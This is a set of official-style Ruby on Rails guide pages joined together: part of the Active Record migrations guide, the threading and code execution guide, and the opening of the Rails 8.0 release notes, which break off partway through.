* [`remove_column`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_column) (must supply original type and column options)
* [`remove_columns`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_columns) (must supply original type and column options)
* [`remove_foreign_key`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key) (must supply other table and original options)
* [`remove_index`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_index) (must supply columns and original options)
* [`remove_reference`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_reference) (must supply original options)
* [`remove_timestamps`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_timestamps) (must supply original options)
* [`rename_column`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_column)
* [`rename_index`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_index)
* [`rename_table`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_table)

[`change_table`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table) is also reversible, as long as the block only calls reversible operations like the ones listed above.

If you need to use any other methods, you should use `reversible` or write the `up` and `down` methods instead of using the `change` method.

### [3.11. Using `reversible`](#using-reversible)

If you'd like for a migration to do something that Active Record doesn't know how to reverse, then you can use `reversible` to specify what to do when running a migration and what else to do when reverting it.

```
class ChangeProductsPrice < ActiveRecord::Migration[8.1]
  def change
    reversible do |direction|
      change_table :products do |t|
        direction.up   { t.change :price, :string }
        direction.down { t.change :price, :integer }
      end
    end
  end
end
```

This migration will change the type of the `price` column to a string, or back to an integer when the migration is reverted. Notice the block being passed to `direction.up` and `direction.down` respectively.

Alternatively, you can use `up` and `down` instead of `change`:

```
class ChangeProductsPrice < ActiveRecord::Migration[8.1]
  def up
    change_table :products do |t|
      t.change :price, :string
    end
  end

  def down
    change_table :products do |t|
      t.change :price, :integer
    end
  end
end
```

Additionally, `reversible` is useful when executing raw SQL queries or performing database operations that do not have a direct equivalent in ActiveRecord methods. You can use [`reversible`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Migration.html#method-i-reversible) to specify what to do when running a migration and what else to do when reverting it. For example:

```
class ExampleMigration < ActiveRecord::Migration[8.1]
  def change
    create_table :distributors do |t|
      t.string :zipcode
    end

    reversible do |direction|
      direction.up do
        # create a distributors view
        execute <<-SQL
          CREATE VIEW distributors_view AS
          SELECT id, zipcode
          FROM distributors;
        SQL
      end
      direction.down do
        execute <<-SQL
          DROP VIEW distributors_view;
        SQL
      end
    end

    add_column :users, :address, :string
  end
end
```

Using `reversible` will ensure that the instructions are executed in the right order too. If the previous example migration is reverted, the `down` block will be run after the `users.address` column is removed and before the `distributors` table is dropped.

### [3.12. Using the `up`/`down` Methods](#using-the-up-down-methods)

You can also use the old style of migration using `up` and `down` methods instead of the `change` method.

The `up` method should describe the transformation you'd like to make to your schema, and the `down` method of your migration should revert the transformations done by the `up` method. In other words, the database schema should be unchanged if you do an `up` followed by a `down`.

For example, if you create a table in the `up` method, you should drop it in the `down` method. It is wise to perform the transformations in precisely the reverse order they were made in the `up` method. The example in the `reversible` section is equivalent to:

```
class ExampleMigration < ActiveRecord::Migration[8.1]
  def up
    create_table :distributors do |t|
      t.string :zipcode
    end

    # create a distributors view
    execute <<-SQL
      CREATE VIEW distributors_view AS
      SELECT id, zipcode
      FROM distributors;
    SQL

    add_column :users, :address, :string
  end

  def down
    remove_column :users, :address

    execute <<-SQL
      DROP VIEW distributors_view;
    SQL

    drop_table :distributors
  end
end
```

### [3.13. Throwing an error to prevent reverts](#throwing-an-error-to-prevent-reverts)

Sometimes your migration will do something which is just plain irreversible; for example, it might destroy some data.

In such cases, you can raise `ActiveRecord::IrreversibleMigration` in your `down` block.

```
class IrreversibleMigrationExample < ActiveRecord::Migration[8.1]
  def up
    drop_table :example_table
  end

  def down
    raise ActiveRecord::IrreversibleMigration, "This migration cannot be reverted because it destroys data."
  end
end
```

If someone tries to revert your migration, an error message will be displayed saying that it can't be done.

### [3.14. Reverting Previous Migrations](#reverting-previous-migrations)

You can use Active Record's ability to rollback migrations using the [`revert`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Migration.html#method-i-revert) method:

```
require_relative "20121212123456_example_migration"

class FixupExampleMigration < ActiveRecord::Migration[8.1]
  def change
    revert ExampleMigration

    create_table(:apples) do |t|
      t.string :variety
    end
  end
end
```

The `revert` method also accepts a block of instructions to reverse. This could be useful to revert selected parts of previous migrations.

For example, let's imagine that `ExampleMigration` is committed and it is later decided that a Distributors view is no longer needed.

```
class DontUseDistributorsViewMigration < ActiveRecord::Migration[8.1]
  def change
    revert do
      # copy-pasted code from ExampleMigration
      create_table :distributors do |t|
        t.string :zipcode
      end

      reversible do |direction|
        direction.up do
          # create a distributors view
          execute <<-SQL
            CREATE VIEW distributors_view AS
            SELECT id, zipcode
            FROM distributors;
          SQL
        end
        direction.down do
          execute <<-SQL
            DROP VIEW distributors_view;
          SQL
        end
      end

      # The rest of the migration was ok
    end
  end
end
```

The same migration could also have been written without using `revert` but this would have involved a few more steps:

1. Reverse the order of `create_table` and `reversible`.
2. Replace `create_table` with `drop_table`.
3. Finally, replace `up` with `down` and vice-versa.

This is all taken care of by `revert`.

## [4. Running Migrations](#running-migrations)

Rails provides a set of commands to run certain sets of migrations.

The very first migration related rails command you will use will probably be `bin/rails db:migrate`. In its most basic form it just runs the `change` or `up` method for all the migrations that have not yet been run. If there are no such migrations, it exits. It will run these migrations in order based on the date of the migration.

Note that running the `db:migrate` command also invokes the `db:schema:dump` command, which will update your `db/schema.rb` file to match the structure of your database.

If you specify a target version, Active Record will run the required migrations (change, up, down) until it has reached the specified version. The version is the numerical prefix on the migration's filename. For example, to migrate to version 20240428000000 run:

```
$ bin/rails db:migrate VERSION=20240428000000
```

If version 20240428000000 is greater than the current version (i.e., it is migrating upwards), this will run the `change` (or `up`) method on all migrations up to and including 20240428000000, and will not execute any later migrations. If migrating downwards, this will run the `down` method on all the migrations down to, but not including, 20240428000000.

### [4.1. Rolling Back](#rolling-back)

A common task is to rollback the last migration. For example, if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run:

```
$ bin/rails db:rollback
```

This will rollback the latest migration, either by reverting the `change` method or by running the `down` method. If you need to undo several migrations you can provide a `STEP` parameter:

```
$ bin/rails db:rollback STEP=3
```

The last 3 migrations will be reverted.

In some cases where you modify a local migration and would like to rollback that specific migration before migrating back up again, you can use the `db:migrate:redo` command. As with the `db:rollback` command, you can use the `STEP` parameter if you need to go more than one version back, for example:

```
$ bin/rails db:migrate:redo STEP=3
```

You could get the same result using `db:migrate`. However, these are there for convenience so that you do not need to explicitly specify the version to migrate to.

#### [4.1.1. Transactions](#transactions)

In databases that support DDL transactions, changing the schema in a single transaction, each migration is wrapped in a transaction.

A transaction ensures that if a migration fails partway through, any changes that were successfully applied are rolled back, maintaining database consistency. This means that either all operations within the transaction are executed successfully, or none of them are, preventing the database from being left in an inconsistent state if an error occurs during the transaction.

If the database does not support DDL transactions with statements that change the schema, then when a migration fails, the parts of it that have succeeded will not be rolled back. You will have to rollback the changes manually.

There are queries that you can’t execute inside a transaction though, and for these situations you can turn the automatic transactions off with `disable_ddl_transaction!`:

```
class ChangeEnum < ActiveRecord::Migration[8.1]
  disable_ddl_transaction!

  def up
    execute "ALTER TYPE model_size ADD VALUE 'new_value'"
  end
end
```

Remember that you can still open your own transactions, even if you are in a Migration with self.disable\_ddl\_transaction!.

### [4.2. Setting Up the Database](#setting-up-the-database)

The `bin/rails db:setup` command will create the database, load the schema, and initialize it with the seed data.

### [4.3. Preparing the Database](#preparing-the-database)

The `bin/rails db:prepare` command is similar to `bin/rails db:setup`, but it operates idempotently, so it can safely be called several times, but it will only perform the necessary tasks once.

* If the database has not been created yet, the command will run as the `bin/rails db:setup` does.
* If the database exists but the tables have not been created, the command will load the schema, run any pending migrations, dump the updated schema, and finally load the seed data. See the [Seeding Data documentation](#migrations-and-seed-data) for more details.
* If the database and tables exist, the command will do nothing.

Once the database and tables exist, the `db:prepare` task will not try to reload the seed data, even if the previously loaded seed data or the existing seed file have been altered or deleted. To reload the seed data, you can manually run `bin/rails db:seed:replant`.

This task will only load seeds if one of the databases or tables created is a primary database for the environment or is configured with `seeds: true`.

### [4.4. Resetting the Database](#resetting-the-database)

The `bin/rails db:reset` command will drop the database and set it up again. This is functionally equivalent to `bin/rails db:drop db:setup`.

This is not the same as running all the migrations. It will only use the contents of the current `db/schema.rb` or `db/structure.sql` file. If a migration can't be rolled back, `bin/rails db:reset` may not help you. To find out more about dumping the schema see [Schema Dumping and You](#schema-dumping-and-you) section.

If you need an alternative to `db:reset` that explicitly runs all migrations, consider using the `bin/rails db:migrate:reset` command. You can follow that command with `bin/rails db:seed` if needed.

`bin/rails db:reset` rebuilds the database using the current schema. On the other hand, `bin/rails db:migrate:reset` replays all migrations from the beginning, which can lead to schema drift if, for example, migrations have been altered, reordered, or removed.

### [4.5. Running Specific Migrations](#running-specific-migrations)

If you need to run a specific migration up or down, the `db:migrate:up` and `db:migrate:down` commands will do that. Just specify the appropriate version and the corresponding migration will have its `change`, `up` or `down` method invoked, for example:

```
$ bin/rails db:migrate:up VERSION=20240428000000
```

By running this command the `change` method (or the `up` method) will be executed for the migration with the version "20240428000000".

First, this command will check whether the migration exists and if it has already been performed and if so, it will do nothing.

If the version specified does not exist, Rails will throw an exception.

```
$ bin/rails db:migrate VERSION=00000000000000
rails aborted!
ActiveRecord::UnknownMigrationVersionError:

No migration with version number 00000000000000.
```

### [4.6. Running Migrations in Different Environments](#running-migrations-in-different-environments)

By default running `bin/rails db:migrate` will run in the `development` environment.

To run migrations against another environment you can specify it using the `RAILS_ENV` environment variable while running the command. For example to run migrations against the `test` environment you could run:

```
$ bin/rails db:migrate RAILS_ENV=test
```

### [4.7. Changing the Output of Running Migrations](#changing-the-output-of-running-migrations)

By default migrations tell you exactly what they're doing and how long it took. A migration creating a table and adding an index might produce output like this

```
==  CreateProducts: migrating =================================================
-- create_table(:products)
   -> 0.0028s
==  CreateProducts: migrated (0.0028s) ========================================
```

Several methods are provided in migrations that allow you to control all this:

| Method                                                                                                                   | Purpose                                                                                                                                  |
| ------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------- |
| [`suppress_messages`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Migration.html#method-i-suppress_messages) | Takes a block as an argument and suppresses any output generated by the block.                                                           |
| [`say`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Migration.html#method-i-say)                             | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.              |
| [`say_with_time`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Migration.html#method-i-say_with_time)         | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. |

For example, take the following migration:

```
class CreateProducts < ActiveRecord::Migration[8.1]
  def change
    suppress_messages do
      create_table :products do |t|
        t.string :name
        t.text :description
        t.timestamps
      end
    end

    say "Created a table"

    suppress_messages { add_index :products, :name }
    say "and an index!", true

    say_with_time "Waiting for a while" do
      sleep 10
      250
    end
  end
end
```

This will generate the following output:

```
==  CreateProducts: migrating =================================================
-- Created a table
   -> and an index!
-- Waiting for a while
   -> 10.0013s
   -> 250 rows
==  CreateProducts: migrated (10.0054s) =======================================
```

If you want Active Record to not output anything, then running `bin/rails db:migrate VERBOSE=false` will suppress all output.

### [4.8. Rails Migration Version Control](#rails-migration-version-control)

Rails keeps track of which migrations have been run through the `schema_migrations` table in the database. When you run a migration, Rails inserts a row into the `schema_migrations` table with the version number of the migration, stored in the `version` column. This allows Rails to determine which migrations have already been applied to the database.

For example, if you have a migration file named 20240428000000\_create\_users.rb, Rails will extract the version number (20240428000000) from the filename and insert it into the schema\_migrations table after the migration has been successfully executed.

You can view the contents of the schema\_migrations table directly in your database management tool or by using Rails console:

```
rails dbconsole
```

Then, within the database console, you can query the schema\_migrations table:

```
SELECT * FROM schema_migrations;
```

This will show you a list of all migration version numbers that have been applied to the database. Rails uses this information to determine which migrations need to be run when you run rails db:migrate or rails db:migrate:up commands.

## [5. Changing Existing Migrations](#changing-existing-migrations)

Occasionally you will make a mistake when writing a migration. If you have already run the migration, then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run `bin/rails db:migrate`. You must rollback the migration (for example with `bin/rails db:rollback`), edit your migration, and then run `bin/rails db:migrate` to run the corrected version.

In general, editing existing migrations that have been already committed to source control is not a good idea. You will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead, you should write a new migration that performs the changes you require.

However, editing a freshly generated migration that has not yet been committed to source control (or, more generally, has not been propagated beyond your development machine) is common.

The `revert` method can be helpful when writing a new migration to undo previous migrations in whole or in part (see [Reverting Previous Migrations](#reverting-previous-migrations) above).

## [6. Schema Dumping and You](#schema-dumping-and-you)

### [6.1. What are Schema Files for?](#what-are-schema-files-for-questionmark)

Migrations, mighty as they may be, are not the authoritative source for your database schema. **Your database remains the source of truth.**

By default, Rails generates `db/schema.rb` which attempts to capture the current state of your database schema.

It tends to be faster and less error prone to create a new instance of your application's database by loading the schema file via `bin/rails db:schema:load` than it is to replay the entire migration history. [Old migrations](#old-migrations) may fail to apply correctly if those migrations use changing external dependencies or rely on application code which evolves separately from your migrations.

Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations, but the information is nicely summed up in the schema file.

### [6.2. Types of Schema Dumps](#types-of-schema-dumps)

The format of the schema dump generated by Rails is controlled by the [`config.active_record.schema_format`](configuring.html#config-active-record-schema-format) setting defined in `config/application.rb`, or the `schema_format` value in the database configuration. By default, the format is `:ruby`, or alternatively can be set to `:sql`.

#### [6.2.1. Using the default `:ruby` schema](#using-the-default-ruby-schema)

When `:ruby` is selected, then the schema is stored in `db/schema.rb`. If you look at this file you'll find that it looks an awful lot like one very big migration:

```
ActiveRecord::Schema[8.1].define(version: 2008_09_06_171750) do
  create_table "authors", force: true do |t|
    t.string   "name"
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  create_table "products", force: true do |t|
    t.string   "name"
    t.text     "description"
    t.datetime "created_at"
    t.datetime "updated_at"
    t.string   "part_number"
  end
end
```

In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using `create_table`, `add_index`, and so on.

#### [6.2.2. Using the `:sql` schema dumper](#using-the-sql-schema-dumper)

However, `db/schema.rb` cannot express everything your database may support such as triggers, sequences, stored procedures, etc.

While migrations may use `execute` to create database constructs that are not supported by the Ruby migration DSL, these constructs may not be able to be reconstituted by the schema dumper.

If you are using features like these, you should set the schema format to `:sql` in order to get an accurate schema file that is useful to create new database instances.

When the schema format is set to `:sql`, the database structure will be dumped using a tool specific to the database into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump` utility is used. For MySQL and MariaDB, this file will contain the output of `SHOW CREATE TABLE` for the various tables.

To load the schema from `db/structure.sql`, run `bin/rails db:schema:load`. Loading this file is done by executing the SQL statements it contains. By definition, this will create a perfect copy of the database's structure.

### [6.3. Schema Dumps and Source Control](#schema-dumps-and-source-control)

Because schema files are commonly used to create new databases, it is strongly recommended that you check your schema file into source control.

Merge conflicts can occur in your schema file when two branches modify schema. To resolve these conflicts run `bin/rails db:migrate` to regenerate the schema file.

Newly generated Rails apps will already have the migrations folder included in the git tree, so all you have to do is be sure to add any new migrations you add and commit them.

## [7. Active Record and Referential Integrity](#active-record-and-referential-integrity)

The Active Record pattern suggests that intelligence should primarily reside in your models rather than in the database. Consequently, features like triggers or constraints, which delegate some of that intelligence back into the database, are not always favored.

Validations such as `validates :foreign_key, uniqueness: true` are one way in which models can enforce data integrity. The `:dependent` option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level, these cannot guarantee referential integrity and so some people augment them with [foreign key constraints](#foreign-keys) in the database.

In practice, foreign key constraints and unique indexes are generally considered safer when enforced at the database level. Although Active Record does not provide direct support for working with these database-level features, you can still use the execute method to run arbitrary SQL commands.

It's worth emphasizing that while the Active Record pattern emphasizes keeping intelligence within models, neglecting to implement foreign keys and unique constraints at the database level can potentially lead to integrity issues. Therefore, it's advisable to complement the AR pattern with database-level constraints where appropriate. These constraints should have their counterparts explicitly defined in your code using associations and validations to ensure data integrity across both application and database layers.

## [8. Migrations and Seed Data](#migrations-and-seed-data)

The main purpose of the Rails migration feature is to issue commands that modify the schema using a consistent process. Migrations can also be used to add or modify data. This is useful in an existing database that can't be destroyed and recreated, such as a production database.

```
class AddInitialProducts < ActiveRecord::Migration[8.1]
  def up
    5.times do |i|
      Product.create(name: "Product ##{i}", description: "A product.")
    end
  end

  def down
    Product.delete_all
  end
end
```

To add initial data after a database is created, Rails has a built-in 'seeds' feature that speeds up the process. This is especially useful when reloading the database frequently in development and test environments, or when setting up initial data for production.

To get started with this feature, open up `db/seeds.rb` and add some Ruby code, then run `bin/rails db:seed`.

The code here should be idempotent so that it can be executed at any point in every environment.

```
["Action", "Comedy", "Drama", "Horror"].each do |genre_name|
  MovieGenre.find_or_create_by!(name: genre_name)
end
```

This is generally a much cleaner way to set up the database of a blank application.

## [9. Old Migrations](#old-migrations)

The `db/schema.rb` or `db/structure.sql` is a snapshot of the current state of your database and is the authoritative source for rebuilding that database. This makes it possible to delete or prune old migration files.

When you delete migration files in the `db/migrate/` directory, any environment where `bin/rails db:migrate` was run when those files still existed will hold a reference to the migration timestamp specific to them inside an internal Rails database table named `schema_migrations`. You can read more about this in the [Rails Migration Version Control section](#rails-migration-version-control).

If you run the `bin/rails db:migrate:status` command, which displays the status (up or down) of each migration, you should see `********** NO FILE **********` displayed next to any deleted migration file which was once executed on a specific environment but can no longer be found in the `db/migrate/` directory.

### [9.1. Migrations from Engines](#migrations-from-engines)

When dealing with migrations from [Engines](engines.html), there's a caveat to consider. Rake tasks to install migrations from engines are idempotent, meaning they will have the same result no matter how many times they are called. Migrations present in the parent application due to a previous installation are skipped, and missing ones are copied with a new leading timestamp. If you deleted old engine migrations and ran the install task again, you'd get new files with new timestamps, and `db:migrate` would attempt to run them again.

Thus, you generally want to preserve migrations coming from engines. They have a special comment like this:

```
# This migration comes from blorgh (originally 20210621082949)
```

## [10. Miscellaneous](#miscellaneous)

### [10.1. Using UUIDs instead of IDs for Primary Keys](#using-uuids-instead-of-ids-for-primary-keys)

By default, Rails uses auto-incrementing integers as primary keys for database records. However, there are scenarios where using Universally Unique Identifiers (UUIDs) as primary keys can be advantageous, especially in distributed systems or when integration with external services is necessary. UUIDs provide a globally unique identifier without relying on a centralized authority for generating IDs.

#### [10.1.1. Enabling UUIDs in Rails](#enabling-uuids-in-rails)

Before using UUIDs in your Rails application, you'll need to ensure that your database supports storing them. Additionally, you may need to configure your database adapter to work with UUIDs.

If you are using a version of PostgreSQL prior to 13, you may still need to enable the pgcrypto extension to access the `gen_random_uuid()` function.

1. Rails Configuration

   In your Rails application configuration file (`config/application.rb`), add the following line to configure Rails to generate UUIDs as primary keys by default:

   ```
   config.generators do |g|
     g.orm :active_record, primary_key_type: :uuid
   end
   ```

   This setting instructs Rails to use UUIDs as the default primary key type for ActiveRecord models.

2. Adding References with UUIDs:

   When creating associations between models using references, ensure that you specify the data type as :uuid to maintain consistency with the primary key type. For example:

   ```
   create_table :posts, id: :uuid do |t|
     t.references :author, type: :uuid, foreign_key: true
     # Other columns...
     t.timestamps
   end
   ```

   In this example, the `author_id` column in the posts table references the `id` column of the authors table. By explicitly setting the type to `:uuid`, you ensure that the foreign key column matches the data type of the primary key it references. Adjust the syntax accordingly for other associations and databases.

3. Migration Changes

   When generating migrations for your models, you'll notice that it specifies the id to be of type `uuid:`

   ```
     $ bin/rails g migration CreateAuthors
   ```

   ```
   class CreateAuthors < ActiveRecord::Migration[8.1]
     def change
       create_table :authors, id: :uuid do |t|
         t.timestamps
       end
     end
   end
   ```

   which results in the following schema:

   ```
   create_table "authors", id: :uuid, default: -> { "gen_random_uuid()" }, force: :cascade do |t|
     t.datetime "created_at", precision: 6, null: false
     t.datetime "updated_at", precision: 6, null: false
   end
   ```

   In this migration, the `id` column is defined as a UUID primary key with a default value generated by the `gen_random_uuid()` function.

UUIDs are guaranteed to be globally unique across different systems, making them suitable for distributed architectures. They also simplify integration with external systems or APIs by providing a unique identifier that doesn't rely on centralized ID generation, and unlike auto-incrementing integers, UUIDs don't expose information about the total number of records in a table, which can be beneficial for security purposes.

However, UUIDs can also impact performance due to their size and are harder to index. UUIDs will have worse performance for writes and reads compared with integer primary keys and foreign keys.

Therefore, it's essential to evaluate the trade-offs and consider the specific requirements of your application before deciding to use UUIDs as primary keys.

### [10.2. Data Migrations](#data-migrations)

Data migrations involve transforming or moving data within your database. In Rails, it is generally not advised to perform data migrations using migration files. Here’s why:

* **Separation of Concerns**: Schema changes and data changes have different lifecycles and purposes. Schema changes alter the structure of your database, while data changes alter the content.
* **Rollback Complexity**: Data migrations can be hard to rollback safely and predictably.
* **Performance**: Data migrations can take a long time to run and may lock your tables, affecting application performance and availability.

Instead, consider using the [`maintenance_tasks`](https://github.com/Shopify/maintenance_tasks) gem. This gem provides a framework for creating and managing data migrations and other maintenance tasks in a way that is safe and easy to manage without interfering with schema migrations.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/threading_and_code_execution.html
----

***

## [1. Automatic Concurrency](#automatic-concurrency)

Rails automatically allows various operations to be performed at the same time.

When using a threaded web server, such as the default Puma, multiple HTTP requests will be served simultaneously, with each request provided its own controller instance.

Threaded Active Job adapters, including the built-in Async, will likewise execute several jobs at the same time. Action Cable channels are managed this way too.

These mechanisms all involve multiple threads, each managing work for a unique instance of some object (controller, job, channel), while sharing the global process space (such as classes and their configurations, and global variables). As long as your code doesn't modify any of those shared things, it can mostly ignore that other threads exist.

The rest of this guide describes the mechanisms Rails uses to make it "mostly ignorable", and how extensions and applications with special needs can use them.

## [2. Executor](#executor)

The Rails Executor separates application code from framework code: any time the framework invokes code you've written in your application, it will be wrapped by the Executor.

The Executor consists of two callbacks: `to_run` and `to_complete`. The Run callback is called before the application code, and the Complete callback is called after.

### [2.1. Default Callbacks](#default-callbacks)

In a default Rails application, the Executor callbacks are used to:

* track which threads are in safe positions for autoloading and reloading
* enable and disable the Active Record query cache
* return acquired Active Record connections to the pool
* constrain internal cache lifetimes

Prior to Rails 5.0, some of these were handled by separate Rack middleware classes (such as `ActiveRecord::ConnectionAdapters::ConnectionManagement`), or directly wrapping code with methods like `ActiveRecord::Base.connection_pool.with_connection`. The Executor replaces these with a single more abstract interface.

### [2.2. Wrapping Application Code](#wrapping-application-code)

If you're writing a library or component that will invoke application code, you should wrap it with a call to the executor:

```
Rails.application.executor.wrap do
  # call application code here
end
```

If you repeatedly invoke application code from a long-running process, you may want to wrap using the [Reloader](#reloader) instead.

Each thread should be wrapped before it runs application code, so if your application manually delegates work to other threads, such as via `Thread.new` or Concurrent Ruby features that use thread pools, you should immediately wrap the block:

```
Thread.new do
  Rails.application.executor.wrap do
    # your code here
  end
end
```

Concurrent Ruby uses a `ThreadPoolExecutor`, which it sometimes configures with an `executor` option. Despite the name, it is unrelated.

The Executor is safely re-entrant; if it is already active on the current thread, `wrap` is a no-op.

If it's impractical to wrap the application code in a block (for example, the Rack API makes this problematic), you can also use the `run!` / `complete!` pair:

```
Thread.new do
  execution_context = Rails.application.executor.run!
  # your code here
ensure
  execution_context.complete! if execution_context
end
```

### [2.3. Concurrency](#executor-concurrency)

The Executor will put the current thread into `running` mode in the [Reloading Interlock](#reloading-interlock). This operation will block temporarily if another thread is currently unloading/reloading the application.

## [3. Reloader](#reloader)

Like the Executor, the Reloader also wraps application code. If the Executor is not already active on the current thread, the Reloader will invoke it for you, so you only need to call one. This also guarantees that everything the Reloader does, including all its callback invocations, occurs wrapped inside the Executor.

```
Rails.application.reloader.wrap do
  # call application code here
end
```

The Reloader is only suitable where a long-running framework-level process repeatedly calls into application code, such as for a web server or job queue. Rails automatically wraps web requests and Active Job workers, so you'll rarely need to invoke the Reloader for yourself. Always consider whether the Executor is a better fit for your use case.

### [3.1. Callbacks](#callbacks)

Before entering the wrapped block, the Reloader will check whether the running application needs to be reloaded -- for example, because a model's source file has been modified. If it determines a reload is required, it will wait until it's safe, and then do so, before continuing. When the application is configured to always reload regardless of whether any changes are detected, the reload is instead performed at the end of the block.

The Reloader also provides `to_run` and `to_complete` callbacks; they are invoked at the same points as those of the Executor, but only when the current execution has initiated an application reload. When no reload is deemed necessary, the Reloader will invoke the wrapped block with no other callbacks.

### [3.2. Class Unload](#class-unload)

The most significant part of the reloading process is the Class Unload, where all autoloaded classes are removed, ready to be loaded again. This will occur immediately before either the Run or Complete callback, depending on the `reload_classes_only_on_change` setting.

Often, additional reloading actions need to be performed either just before or just after the Class Unload, so the Reloader also provides `before_class_unload` and `after_class_unload` callbacks.

### [3.3. Concurrency](#reloader-concurrency)

Only long-running "top level" processes should invoke the Reloader, because if it determines a reload is needed, it will block until all other threads have completed any Executor invocations.

If this were to occur in a "child" thread, with a waiting parent inside the Executor, it would cause an unavoidable deadlock: the reload must occur before the child thread is executed, but it cannot be safely performed while the parent thread is mid-execution. Child threads should use the Executor instead.

## [4. Framework Behavior](#framework-behavior)

The Rails framework components use these tools to manage their own concurrency needs too.

`ActionDispatch::Executor` and `ActionDispatch::Reloader` are Rack middlewares that wrap requests with a supplied Executor or Reloader, respectively. They are automatically included in the default application stack. The Reloader will ensure any arriving HTTP request is served with a freshly-loaded copy of the application if any code changes have occurred.

Active Job also wraps its job executions with the Reloader, loading the latest code to execute each job as it comes off the queue.

Action Cable uses the Executor instead: because a Cable connection is linked to a specific instance of a class, it's not possible to reload for every arriving WebSocket message. Only the message handler is wrapped, though; a long-running Cable connection does not prevent a reload that's triggered by a new incoming request or job. Instead, Action Cable uses the Reloader's `before_class_unload` callback to disconnect all its connections. When the client automatically reconnects, it will be speaking to the new version of the code.

The above are the entry points to the framework, so they are responsible for ensuring their respective threads are protected, and deciding whether a reload is necessary. Other components only need to use the Executor when they spawn additional threads.

### [4.1. Configuration](#configuration)

The Reloader only checks for file changes when `config.enable_reloading` is `true` and so is `config.reload_classes_only_on_change`. These are the defaults in the `development` environment.

When `config.enable_reloading` is `false` (in `production`, by default), the Reloader is only a pass-through to the Executor.

The Executor always has important work to do, like database connection management. When `config.enable_reloading` is `false` and `config.eager_load` is `true` (`production` defaults), no reloading will occur, so it does not need the Reloading Interlock. With the default settings in the `development` environment, the Executor will use the Reloading Interlock to ensure code reloading is performed safely.

## [5. Reloading Interlock](#reloading-interlock)

The Reloading Interlock ensures that code reloading can be performed safely in a multi-threaded runtime environment.

It is only safe to perform an unload/reload when no application code is in mid-execution: after the reload, the `User` constant, for example, may point to a different class. Without this rule, a poorly-timed reload would mean `User.new.class == User`, or even `User == User`, could be false.

The Reloading Interlock addresses this constraint by keeping track of which threads are currently running application code, and ensuring that reloading waits until no other threads are executing application code.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/8_0_release_notes.html
----

***

## [1. Upgrading to Rails 8.0](#upgrading-to-rails-8-0)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 7.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 8.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-7-2-to-rails-8-0) guide.

## [2. Major Features](#major-features)

### [2.1. Kamal 2](#kamal-2)

Rails now comes preconfigured with [Kamal 2](https://kamal-deploy.org/) for deploying your application. Kamal takes a fresh Linux box and turns it into an application or accessory server with just a single “kamal setup” command.

Kamal 2 also includes a proxy called [Kamal Proxy](https://github.com/basecamp/kamal-proxy) to replace the generic Traefik option it used at launch.

### [2.2. Thruster](#thruster)

The Dockerfile has been upgraded to include a new proxy called [Thruster](https://github.com/basecamp/thruster), which sits in front of the Puma web server to provide X-Sendfile acceleration, asset caching, and asset compression.

### [2.3. Solid Cable](#solid-cable)

[Solid Cable](https://github.com/rails/solid_cable) replaces Redis to act as the pubsub server to relay WebSocket messages from the application to clients connected to different processes. Solid Cable retains the messages sent in the database for a day by default.

### [2.4. Solid Cache](#solid-cache)

[Solid Cache](https://github.com/rails/solid_cache) replaces either Redis or Memcached for storing HTML fragment caches in particular.

### [2.5. Solid Queue](#solid-queue)

[Solid Queue](https://github.com/rails/solid_queue) replaces the need for Redis, also a separate job-running framework, like Resque, Delayed Job, or Sidekiq.

For high-performance installations, it’s built on the new `FOR UPDATE SKIP LOCKED` mechanism first introduced in PostgreSQL 9.5, but now also available in MySQL 8.0 and beyond. It also works with SQLite.

### [2.6. Propshaft](#propshaft)

[Propshaft](https://github.com/rails/propshaft) is now the default asset pipeline, replacing the old Sprockets system.

### [2.7. Authentication](#authentication)

[Authentication system generator](https://github.com/rails/rails/pull/52328), creates a starting point for a session-based, password-resettable, metadata-tracking authentication system.

## [3. Railties](#railties)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-0-stable/railties/CHANGELOG.md) for detailed changes.

### [3.1. Removals](#railties-removals)

* Remove deprecated `config.read_encrypted_secrets`.

* Remove deprecated file `rails/console/app`.

